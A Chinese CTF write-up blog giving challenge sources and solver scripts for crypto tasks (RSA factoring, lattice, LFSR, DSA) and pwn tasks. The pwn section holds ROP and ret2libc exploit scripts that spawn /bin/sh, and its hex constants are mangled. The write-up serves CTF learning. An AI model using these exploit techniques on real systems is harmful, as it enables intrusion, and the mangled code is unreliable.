Hgctf2025 - Zsm's blog

前言#

质量挺高的一场新生赛，老登大乱斗（），这里只写一部分wp

crypto题目#

baby_factor#

task

1
from Crypto.Util.number import *
2
def create():
3
    pl  = []
4
    for i in range(3):
5
        pl.append(getPrime(1024))
6
    return sorted(pl)
7
pl = create()
8
m=b'NSSCTF{xxx}'
9
p,q,r = pl[0],pl[1],pl[2]
10
e = 65537
11
n = p*q*r
12
phi = (p-1)*(q-1)*(r-1)
13
c=pow(bytes_to_long(m),e,n)
14
print(f'n={n}')
15
print(f'phi={phi}')
16
print(f'c={c}')

好像是出题人数据问题 exp

1
n=
2
phi=
3
c=
4

5
e=65537
6

7
from Crypto.Util.number import *
8

9
m=pow(c,inverse(e,phi),n)
10
flag=long_to_bytes(m)
11
print(flag)

baby_factor_revenge#

task

1
from Crypto.Util.number import *
2
def create():
3
    pl  = []
4
    for i in range(3):
5
        pl.append(getPrime(1024))
6
    return sorted(pl)
7
pl = create()
8
m=b'NSSCTF{xxxxxx}'
9
p,q,r = pl[0],pl[1],pl[2]
10
n = p*q*r
11
phi = (p-1)*(q-1)*(r-1)
12
e=65537
13
phi_2=(p-1)*(q-1)
14
n2=p*q
15
c=pow(bytes_to_long(m),e,n2)
16
print(f'n={n}')
17
print(f'phi={phi}')
18
print(f'c={c}')

经典的已知phi&n分解

exp

1
from math import gcd
2
from math import isqrt
3
from random import randrange
4
from gmpy2 import is_prime
5

6

7
def factorize(N, phi):
8
    """
9
    Recovers the prime factors from a modulus if Euler's totient is known.
10
    This method only works for a modulus consisting of 2 primes!
11
    :param N: the modulus
12
    :param phi: Euler's totient, the order of the multiplicative group modulo N
13
    :return: a tuple containing the prime factors, or None if the factors were not found
14
    """
15
    s = N + 1 - phi
16
    d = s ** 2 - 4 * N
17
    p = int(s - isqrt(d)) // 2
18
    q = int(s + isqrt(d)) // 2
19
    return p, q
20

21

22
def factorize_multi_prime(N, phi):
23
    """
24
    Recovers the prime factors from a modulus if Euler's totient is known.
25
    This method works for a modulus consisting of any number of primes, but is considerably be slower than factorize.
26
    More information: Hinek M. J., Low M. K., Teske E., "On Some Attacks on Multi-prime RSA" (Section 3)
27
    :param N: the modulus
28
    :param phi: Euler's totient, the order of the multiplicative group modulo N
29
    :return: a tuple containing the prime factors
30
    """
31
    prime_factors = set()
32
    factors = [N]
33
    while len(factors) > 0:
34
        # Element to factorize.
35
        N = factors[0]
36

37
        w = randrange(2, N - 1)
38
        i = 1
39
        while phi % (2 ** i) == 0:
40
            sqrt_1 = pow(w, phi // (2 ** i), N)
41
            if sqrt_1 > 1 and sqrt_1 != N - 1:
42
                # We can remove the element to factorize now, because we have a factorization.
43
                factors = factors[1:]
44

45
                p = gcd(N, sqrt_1 + 1)
46
                q = N // p
47

48
                if is_prime(p):
49
                    prime_factors.add(p)
50
                elif p > 1:
51
                    factors.append(p)
52

53
                if is_prime(q):
54
                    prime_factors.add(q)
55
                elif q > 1:
56
                    factors.append(q)
57

58
                # Continue in the outer loop
59
                break
60

61
            i += 1
62

63
    return tuple(prime_factors)
64

65
n=
66
phi=
67
c=
68

69
prime_list = sorted(factorize_multi_prime(n,phi))
70
p,q,r = prime_list[0],prime_list[1],prime_list[2]
71

72
print(p,q,r)
73

74
p=
75
q=
76
r=
77

78
from Crypto.Util.number import *
79
e=65537
80

81
phi1=(p-1)
82
n1=p
83
d=inverse(e,phi1)
84
ck=pow(c,d,n1)
85
print(long_to_bytes(ck))

baby_lattice#

task

1
from Crypto.Util.number import *
2
from Crypto.Cipher import AES
3
import os
4
from Crypto.Util.Padding import pad
5
from secret import flag
6
miku = 30
7
p = getPrime(512)
8
key = getPrime(512)
9
while key> p:
10
    key= getPrime(512)
11
ts = []
12
gs = []
13
zs = []
14
for i in range(miku):
15
    t = getPrime(512)
16
    z = getPrime(400)
17
    g= (t * key + z) % p
18
    ts.append(t)
19
    gs.append(g)
20
    zs.append(z)
21
print(f'p = {p}')
22
print(f'ts = {ts}')
23
print(f'gs = {gs}')
24
iv= os.urandom(16)
25
cipher = AES.new(str(key).encode()[:16], AES.MODE_CBC,iv)
26
ciphertext=cipher.encrypt(pad(flag.encode(),16))
27
print(f'iv={iv}')
28
print(f'ciphertext={ciphertext}')

就是最简单的NHP问题

exp

1
p =
2
ts =
3
gs =
4
iv=b'\x88\x0c\x7f\x92\xd7\xb7\xaf4\xe4\xfb\xd1_\xab\xff)\xb8'
5
ciphertext=b'\x94\x198\xd6\xa2mK\x00\x06\x7f\xad\xa0M\xf7\xadV;EO$\xee\xcdB0)\xfb!&8%,M'
6
p = p
7
rs = ts
8
cs = gs
9
t = len(rs)
10
kbits = 400
11
K = 2 ** kbits
12

13
P = identity_matrix(t) * p
14
RC = matrix([[-1, 0], [0, 1]]) * matrix([rs, cs])
15
KP = matrix([[K / p, 0], [0, K]])
16
M = block_matrix([[P, 0], [RC, KP]], subdivide=False)
17
shortest_vector = M.LLL()
18
x = shortest_vector[1, -2] / K * p % p
19
print(x)
20

21

22
from Crypto.Cipher import AES
23
from Crypto.Util.Padding import unpad
24

25
key =
26
aes_key = str(key).encode()[:16]
27

28
iv=b'\x88\x0c\x7f\x92\xd7\xb7\xaf4\xe4\xfb\xd1_\xab\xff)\xb8'
29
ciphertext=b'\x94\x198\xd6\xa2mK\x00\x06\x7f\xad\xa0M\xf7\xadV;EO$\xee\xcdB0)\xfb!&8%,M'
30

31
cipher = AES.new(aes_key, AES.MODE_CBC, iv)
32
flag = unpad(cipher.decrypt(ciphertext), 16)
33

34
print(flag)

babysignin#

task

1
from Crypto.Util.number import getPrime, bytes_to_long
2
p=getPrime(128)
3
q=getPrime(128)
4
n=p*q
5
phi=(p-1)*(q-1)
6
flag="NSSCTF{xxxxxx}"
7
print("p=",p)
8
print("q=",q)
9
m=bytes_to_long(flag.encode())
10
e=4
11
c=pow(m,e,n)
12
print("c=",c)
13
print("n=",n)

crt梭哈，或者是当作e&phi不互素去写

exp

1
p =
2
q =
3
c =
4
n = p * q
5

6
c_p = c % p
7
c_q = c % q
8

9
from sympy.ntheory.residue_ntheory import nthroot_mod
10

11
roots_p = nthroot_mod(c_p, 4, p, all_roots=True)
12
roots_q = nthroot_mod(c_q, 4, q, all_roots=True)
13

14
from sympy.ntheory.modular import crt
15
from Crypto.Util.number import long_to_bytes
16

17
for root_p in roots_p:
18
    for root_q in roots_q:
19
        m, _ = crt([p, q], [root_p, root_q])
20
        flag = long_to_bytes(m)
21
        if b'NSSCTF{' in flag:
22
            print(flag)
23
            exit()

1
from Crypto.Util.number import *
2
p=
3
q=
4
c=
5
n=
6
e= 4
7

8
phi = (p-1)*(q-1)
9
gcd = GCD(e,phi)
10

11
res1 = Zmod(p)(c).nth_root(gcd, all=True)
12
res2 = Zmod(q)(c).nth_root(gcd, all=True)
13

14
for i in res1:
15
    for j in res2:
16
        m = crt([int(i),int(j)],[p,q])
17
        if m is not None:
18
            try:
19
                print(long_to_bytes(int(m)).decode())
20
            except Exception as e:
21
                continue

ez_femat#

task

1
from Crypto.Util.number import getPrime, bytes_to_long
2
from secret import f
3

4
flag = b'NSSCTF{test_flag}'
5
p = getPrime(512)
6
q = getPrime(512)
7
n = p*q
8

9
m = bytes_to_long(flag)
10
e = 65537
11
c = pow(m,e,n)
12

13
R.<x> = ZZ[]
14
f = R(str(f))
15

16
w = pow(2,f(p),n)
17

18

19
print(f'{n = }\n')
20
print(f'{e = }\n')
21
print(f'{c = }\n')
22
print(f'{f = }\n')
23
print(f'{w = }\n')

其实当时看到题目是费马的时候没有想那么多，我把p-1当作可以被这个多项式整除的式子，就直接算x=1的情况，结果真出来了（）

exp

1
from sage.all import *
2

3
var('x')
4

5
f_str = ""
6
f = sage_eval(f_str, locals={'x': x})
7

8
f1 = f.subs(x=1)
9
print(f"f(1) = {f1}")
10

11
from Crypto.Util.number import inverse, GCD, long_to_bytes
12

13
n =
14
e = 65537
15
c =
16
w =
17
a = -57
18
b = inverse(pow(2, -a, n), n)
19
d = GCD(w - b, n)
20

21
if 1 < d < n:
22
    p = d
23
    q = n // p
24
else:
25
    p = n // d
26
    q = d
27

28
phi = (p - 1) * (q - 1)
29
d = inverse(e, phi)
30
m = pow(c, d, n)
31
flag = long_to_bytes(m)
32
print(flag)

EZ_Fermat_bag_PRO#

task

1
from Crypto.Util.number import getPrime, bytes_to_long
2
from random import *
3
from secret import f, flag
4

5
assert len(flag) == 88
6
assert flag.startswith(b'NSSCTF{')
7
assert flag.endswith(b'}')
8

9
p = getPrime(512)
10
q = getPrime(512)
11
n = p*q
12

13
P.<x,y> = ZZ[]
14
f = P(str(f))
15

16
w = pow(2,f(p,q),n)
17
assert all(chr(i) in ''.join(list(set(str(p)))) for i in flag[7:-1:])
18
c = bytes_to_long(flag) % p
19

20
print(f'{n = }\n')
21
print(f'{f = }\n')
22
print(f'{w = }\n')
23
print(f'{c = }\n')

与上一个不同的是这个是xy双元多项式，第一开始的想法就是把他变成单元的，然后发现怎么写怎么不对，完啦后面发现正确的思维是把这个先对f换元，把y消掉，然后构造费马定理，估计上一题也是瞎猫碰死耗子，求出p后发现很难爆破出来，其实是类似鸡块神的nssdlc关卡，不知道出题人的灵感是不是从这来的

exp

1
from Crypto.Util.number import *
2
n =
3
w =
4
c =
5

6
P.<x,y> = PolynomialRing(ZZ)
7
f =
8
g = f(x,n/x)(x+1,0)
9
print(g)
10

11
p = GCD(pow(2,g(0,0),n)-w,n)
12

13
from Crypto.Util.number import *
14

15
p=12887845651556262230127533819087214645114299622757184262163859030601366568025020416006528177186367994745018858915213064803349065489849643880676026721892753
16
c = 10266913434526071998707605266130137733134248608585146234981245806763995653822203763396430876254213500327272952979577138542487120755771047170064775346450942
17

18

19
Ge = Matrix(ZZ,82,82)
20

21
temp = bytes_to_long(b"NSSCTF{") * 256^81 + bytes_to_long(b"}")
22
for i in range(80):
23
    temp += 48*256^(80-i)
24

25

26
for i in range(80):
27
    Ge[i,i] = 1
28
    Ge[i,-1] = 256^(80-i)
29

30
Ge[-2,-2] = 3
31
Ge[-2,-1] = (temp - c)
32
Ge[-1,-1] = p
33

34
for line in Ge.BKZ():
35
    m = ""
36
    if line[-1] == 0 and abs(line[-2]) == 3:
37
        print(line)
38
        for i in line[:-2]:
39
            m += str(abs(i))
40
        flag = "NSSCTF{" + m + "}"
41
        print(flag)

(不知道为啥子会求出来两个，奇奇怪怪)

MIMT_RSA#

task

1
from Crypto.Util.number import *
2
from hashlib import md5
3
from secret import KEY， flag
4

5

6
assert int(KEY).bit_length() == 36
7
assert not isPrime(KEY)
8

9
p = getPrime(1024)
10
q = getPrime(1024)
11
n = p * q
12
e = 0x10001
13

14
ck = pow(KEY, e, n)
15

16

17
assert flag == b'NSSCTF{' + md5(str(KEY).encode()).hexdigest().encode() + b'}'
18

19
print(f"{n = }")
20
print(f"{e = }")
21
print(f"{ck = }")

题目名字直接说了是mitm，就往上面靠呗，KEY是三十六位的，本来想着从18位开始爆，发现出不来，修改范围试试就行了，哈希表加多进程还是很快的，但是我代码写的依托

exp

1
import gmpy2
2
from gmpy2 import powmod, invert
3
import multiprocessing as mp
4
from hashlib import md5
5

6
n =
7
e =
8
ck =
9

10
def precompute_a(start, end, queue):
11
    hash_table = {}
12
    for a in range(start, end):
13
        a_e = powmod(a, e, n)
14
        hash_table[a_e] = a
15
    queue.put(hash_table)
16

17
def search_b(start, end, hash_table, queue):
18
    result = None
19
    for b in range(start, end):
20
        b_e = powmod(b, e, n)
21
        try:
22
            inv_b_e = invert(b_e, n)
23
        except gmpy2.ZeroDivisionError:
24
            continue
25
        tmp = (ck * inv_b_e) % n
26
        if tmp in hash_table:
27
            a = hash_table[tmp]
28
            KEY = a * b
29
            if KEY.bit_length() == 36 and not gmpy2.is_prime(KEY):
30
                result = KEY
31
                break
32
    queue.put(result)
33

34
def main():
35
    a_start = 1
36
    a_end = 2**20  # 扩大范围至2^19，覆盖1到524287
37

38
    num_processes = 8
39
    chunk_size = (a_end - a_start + num_processes - 1) // num_processes  # 确保覆盖所有a值
40

41
    manager = mp.Manager()
42
    queue = manager.Queue()
43

44
    processes = []
45
    for i in range(num_processes):
46
        start = a_start + i * chunk_size
47
        end = min(start + chunk_size, a_end)
48
        p = mp.Process(target=precompute_a, args=(start, end, queue))
49
        processes.append(p)
50
        p.start()
51

52
    hash_table = {}
53
    for _ in range(num_processes):
54
        ht = queue.get()
55
        hash_table.update(ht)
56

57
    for p in processes:
58
        p.join()
59

60
    print(f"Hash table size: {len(hash_table)}")
61

62
    b_start = 1
63
    b_end = 2**20
64

65
    # 修正b的分割方式，确保覆盖所有值
66
    b_chunk_size = (b_end - b_start + num_processes - 1) // num_processes
67

68
    result_queue = manager.Queue()
69
    processes = []
70
    for i in range(num_processes):
71
        start = b_start + i * b_chunk_size
72
        end = min(start + b_chunk_size, b_end)
73
        p = mp.Process(target=search_b, args=(start, end, hash_table, result_queue))
74
        processes.append(p)
75
        p.start()
76

77
    KEY = None
78
    for _ in range(num_processes):
79
        res = result_queue.get()
80
        if res is not None:
81
            KEY = res
82
            # 终止所有进程
83
            for p in processes:
84
                if p.is_alive():
85
                    p.terminate()
86
            break
87

88
    for p in processes:
89
        p.join()
90

91
    if KEY is not None:
92
        print(f"Found KEY: {KEY}")
93
        md5_hash = md5(str(KEY).encode()).hexdigest()
94
        flag = f"NSSCTF{{{md5_hash}}}"
95
        print(flag)
96
    else:
97
        print("KEY not found. Consider further expanding the search range or optimizing the factorization strategy.")
98

99
if __name__ == "__main__":
100
    main()

RSA_and_DSA#

task

1
from random import getrandbits, randint
2
from secrets import randbelow
3
from Crypto.Util.number import*
4
from Crypto.Util.Padding import pad
5
from Crypto.Cipher import AES
6
import hashlib
7
import random
8
import gmpy2
9
ink=getPrime(20)
10
p1= getPrime(512)
11
q1= getPrime(512)
12
N = p1* q1
13
phi = (p1-1) * (q1-1)
14
while True:
15
    d1= getRandomNBitInteger(200)
16
    if GCD(d1, phi) == 1:
17
        e = inverse(d1, phi)
18
        break
19
c_ink = pow(ink, e, N)
20
print(f'c_ink=',c_ink)
21
print(f'e=',e)
22
print(f'N=',N)
23
link=261641
24
k= getPrime(64)
25
q = getPrime(160)
26
def sign(msg, pub, pri, k):
27
    (p,q,g,y) = pub
28
    x = pri
29
    r = int(pow(g, k, p) % q)
30
    h = int(hashlib.sha256(msg).digest().hex(),16)
31
    s = int((h + x * r) * gmpy2.invert(k, q) % q)
32
    return (r, s)
33

34
while True:
35
    temp = q * getrandbits(864)
36
    if isPrime(temp + 1):
37
        p = temp + 1
38
        break
39
assert p % q == 1
40
h = randint(1, p - 1)
41
g = pow(h, (p - 1) // q, p)
42
y = pow(g, k, p)
43
pub = (p,q,g,y)
44
pri = random.randint(1, q-1)
45

46
print(f"(r1,s1)=",sign(b'GHCTF-2025', pub, pri, k))
47
print(f"(r2,s2)=",sign(b'GHCTF-2025', pub, pri, k+ink))
48
print(f"{g= }")
49
print(f"{q= }")
50
print(f"{p= }")
51
print(f"{y= }")
52
key = hashlib.sha1(str(pri).encode()).digest()[:16]
53
cipher = AES.new(key, AES.MODE_ECB)
54
flag="NSSCTF{xxxxxxxx}"
55
ciphertext = cipher.encrypt(pad(flag.encode(), 16))
56
print(f"{ciphertext = }")

前半段明显的维纳攻击，后半段dsa，前面板子就不写了，只放后面的

exp

1
import hashlib
2
import gmpy2
3
from Crypto.Cipher import AES
4
(r1,s1)= (..., ...)
5
(r2,s2)= (..., ...)
6
g= ...
7
q= ...
8
p= ...
9
y= ...
10
ciphertext = ...
11
msg = b'GHCTF-2025'
12
h = int(hashlib.sha256(msg).digest().hex(),16)
13
a = 1
14
b =...
15
k = ((h*(r2 - r1) + b*r1*s2)*gmpy2.invert((r2*s1-a*r1*s2),q)) % q
16
x1 = (k*s1 - h)*gmpy2.invert(r1,q) % q
17
print(x1)
18
key = hashlib.sha1(str(x1).encode()).digest()[:16]
19
cipher = AES.new(key, AES.MODE_ECB)
20
ptext=cipher.decrypt(ciphertext)
21
print(ptext)

river#

task

1
from Crypto.Cipher import AES
2
from Crypto.Util.Padding import pad
3
from hashlib import md5
4
from secret import flag, seed, mask
5

6

7
class 踩踩背:
8
    def __init__(self, n, seed, mask, lfsr=None):
9
        self.state = [int(b) for b in f"{seed:0{n}b}"]
10
        self.mask_bits = [int(b) for b in f"{mask:0{n}b}"]
11
        self.n = n
12
        self.lfsr = lfsr
13

14
    def update(self):
15
        s = sum([self.state[i] * self.mask_bits[i] for i in range(self.n)]) & 1
16
        self.state = self.state[1:] + [s]
17

18
    def __call__(self):
19
        if self.lfsr:
20
            if self.lfsr():
21
                self.update()
22
            return self.state[-1]
23
        else:
24
            self.update()
25
            return self.state[-1]
26

27

28
class 奶龙(踩踩背):
29
    def __init__(self, n, seed, mask):
30
        super().__init__(n, seed, mask, lfsr=None)
31

32

33
n = 64
34
assert seed.bit_length == mask.bit_length == n
35
lfsr1 = 奶龙(n, seed, mask)
36
lfsr2 = 踩踩背(n, seed, mask, lfsr1)
37
print(f"mask = {mask}")
38
print(f"output = {sum(lfsr2() << (n - 1 - i) for i in range(n))}")
39
print(f"enc = {AES.new(key=md5(str(seed).encode()).digest(), mode=AES.MODE_ECB).encrypt(pad(flag, 16))}")

一个抽象的lfsr，lfsr1&lfsr2生成时用的种子什么的都一样，只不过lfsr2需要依赖前者去判断是否输出，我们可以模拟这个状态去生成流

当lsfr1的输出是1的时候，就更新lsfr2的状态
当lsfr1的输出是0的时候，就直接拿lsfr2的状态的最后一位

我们就可以根据这个去猜测lfsr2的第k位可能来自lfsr1的第i位，我们就可以猜测到lfsr2的下一位的多种情况

{{< raw >}} $flsr1 \quad 1 \ 1 \ 0 \ 0 \\flsr2 \quad 1 \ 1 \ 1 \ 1$ 这个时候 $lfsr2$ 的第三位还是 $lfsr1$ 的第二位，也就是 $k+1=i$

$flsr1 \quad 1 \ 1 \\ flsr2 \quad 1 \ 1$ 这种情况就是 $k+1=i=i+1$ ，状态是肯定更新的

$flsr1 \quad 1 \ 1 \ 0 \ 1 \\flsr2 \quad 1 \ 1 \ 1 \ 0$ 这种情况就是 $k+1=i+1$ but $k+1!=i$ ，其实也会更新 {{< /raw >}}

所以我们仅需剪枝去搜索出lfsr1 的64位即可恢复seed

exp

1
from Crypto.Util.number import *
2
from Crypto.Cipher import AES
3
from hashlib import md5
4
from tqdm import tqdm
5
import sys
6

7
mask = 9494051593829874780
8
output = 13799267741689921474
9
lsfr2 = bin(output)[2:].zfill(64)
10
enc =
11

12
t_L = block_matrix(Zmod(2), [[Matrix(ZZ, 63, 1).augment(identity_matrix(63))],
13
                            [Matrix(ZZ, 1, 64, [int(i) for i in bin(mask)[2::].zfill(64)])]])
14
L = []
15
for i in range(1, 64 + 1):
16
    L.append((t_L ^ i)[-1])
17
L = Matrix(Zmod(2), 64, 64, L)
18

19
def find(lsfr1, k):
20
    #初始化
21
    length = len(lsfr1)
22

23
    #剪枝
24
    if length < 64 and lsfr1[k] != lsfr2[length] and lsfr1[k + 1] != lsfr2[length]:
25
        return
26

27
    #搜索和更深层次递归
28
    if length == 64:
29
        B = []
30
        for i in range(1, length + 1):
31
            B.append(int(lsfr1[i - 1]))
32

33
        seed = L.solve_right(Matrix(Zmod(2), 64, 1, B))
34
        seed = int(''.join([str(i[0]) for i in seed]), 2)
35
        flag = AES.new(key=md5(str(seed).encode()).digest(), mode=AES.MODE_ECB).decrypt(enc)
36
        if flag.isascii():
37
            print(flag)
38
            sys.exit()
39

40
    elif length < 64:
41
        if lsfr1[k] == lsfr2[length]:
42
            find(lsfr1 + '0', k)
43

44
            if lsfr1[k + 1] == lsfr2[length]:
45
                find(lsfr1 + '1', k + 1)
46

47
        if lsfr1[k] != lsfr2[length] and lsfr1[k + 1] == lsfr2[length]:
48
            find(lsfr1 + '1', k + 1)
49
find('01', 0)

sin#

task

1
from Crypto.Util.number import bytes_to_long; print((2 * sin((m := bytes_to_long(b'NSSCTF{test_flag}'))) - 2 * sin(m) * cos(2 * m)).n(1024))
2

3
'''
4
m的值即为flag
5
0.002127416739298073705574696200593072466561264659902471755875472082922378713642526659977748539883974700909790177123989603377522367935117269828845667662846262538383970611125421928502514023071134249606638896732927126986577684281168953404180429353050907281796771238578083386883803332963268109308622153680934466412
6
'''

第一眼看上去的思路是化简这个式子，然后arcsin，突然想起来这玩意相当于取模了,

m-2k\pi =c

but这样写会有误差，毕竟你开方什么的乱七八糟的操作，会产生误差很合理吧，即

m-2k\pi =c+a

哎？这就很格了 {{< raw >}}

1 & 0 & K \\ 0 & T & c \times K \\ 0 & 0 & 2 \times \pi \times K \end{bmatrix}=(m,1,ak)$$ {{< /raw >}} exp 记得配平 ``` from Crypto.Util.number import * c = R.<x> = PolynomialRing(QQ) f = x^3-(c/4) res = f.roots() c = abs(arcsin(res[0][0])) K = 2^900 T = 2^300 ge = [[1,0,K],[0,T,c*K],[0,0,2*pi.n(1024)*K]] Ge = Matrix(QQ,ge) L = Ge.LLL() print(L) assert abs(L[0][1]) == T m = long_to_bytes(int(abs(L[0][0]))) if b"NSSCTF{" in m: print(m) ``` ## pwn题目 ### hello world 有pie无canary并且有溢出， partial write返回地址秒了 exp ``` from pwnfunc import * io, elf, libc = pwn_initial() set_context(term="tmux_split", arch="amd64") """amd64 i386 arm arm64 riscv64""" payload = b"a" * 028 + p8(0C5) s(payload) ia() ``` ### ret2libc1 先刷钱，刷完钱可以接触到溢出函数，溢出两次泄露+利用 exp ``` from pwnfunc import * io, elf, libc = pwn_initial() set_context(term="tmux_split", arch="amd64") """amd64 i386 arm arm64 riscv64""" sl(b"3") ru(b"How much do you want to spend buying the hell_money?\n") sl(str(1000)) r() sl(b"7") r() sl(b"10000") ru(b"6.check youer money\n") sl(b"5") ru(b"You can name it!!!\n") prdi = 00000000000400D73 payload = ( b"a" * 048 + p(prdi) + p(elf.got["puts"]) + p(elf.plt["puts"]) + p(elf.sym["main"]) ) s(payload) base = u(r(6).ljust(8, b"\0")) - 0000000000006F6A0 success(hex(base)) system = base + libc.sym["system"] binsh = base + 0000000000018CE57 payload = b"a" * (048) + p(00000000000400579) + p(prdi) + p(binsh) + p(system) sl(b"5") s(payload) ia() ``` ### ret2libc2 发现程序有fmt漏洞，溢出返回到printf处泄露栈上libc，然后往bss上写rop链最后跳过去 exp ``` from pwnfunc import * io, elf, libc = pwn_initial() set_context(term="tmux_split", arch="amd64") """amd64 i386 arm arm64 riscv64""" ru(b"hello world!\n") ret = 0000000000040101A payload = ( b"|%3$p.".ljust(030, b"a") + p(00000000000404060 + 0900) + p(00000000000401227) ) ps() s(payload) ru(b"|") base = int(r(len(b"07f8b4ff547e2")), 16) - 01147E2 success(hex(base)) ru(b"show your magic\n") # s(p(0EBC85 + base)) payload = ( b"a" * (030) + p(00000000000404060 - 0100 - 0238) + p(ret) + p(base + 0000000000002A3E5) + p(base + 000000000001D8678) + p(base + 0000000000050D70) ) s(payload) ia() ``` ### 真会布置栈吗 很短小的程序，程序给了一些gadget和栈地址，通过0x401017 处的pop群可以控制两个直接需要的寄存 器（r13和r15也要用，但是是间接的），pops完后跳到0x401021 清零rdx，最后跳到0x40100C 将r13 的值赋值给rax，然后syscall 其实一开始想到的是打srop，但是本地srop死活跑不通，无奈只能换思路 exp ``` from pwnfunc import * io, elf, libc = pwn_initial() set_context(term="tmux_split", arch="amd64") """amd64 i386 arm arm64 riscv64""" ru(b"\x29\x0a") stack = u(r(6).ljust(8, b"\0")) success(hex(stack)) ret = 00000000000401013 ps() payload = ( p(ret) + p(00000000000401019) # pop 3 trash + p(0) + b"/bin/sh\0" + p(00000000000401017) # pops + p(0) # rsi + p(stack) # rdi + p(0) # rbx + p(03B) # r13 + p(ret) # r15 + p(0000000000401021) # xor rdx, rdx + p(000000000040100C) # xchg rax, 03bh + p(00000000000401077) # syscall ) s(payload) ia() ```

a ctfer on the load

前言#

crypto题目#

baby_factor#

baby_factor_revenge#

baby_lattice#

babysignin#

ez_femat#

EZ_Fermat_bag_PRO#

MIMT_RSA#

RSA_and_DSA#

river#

sin#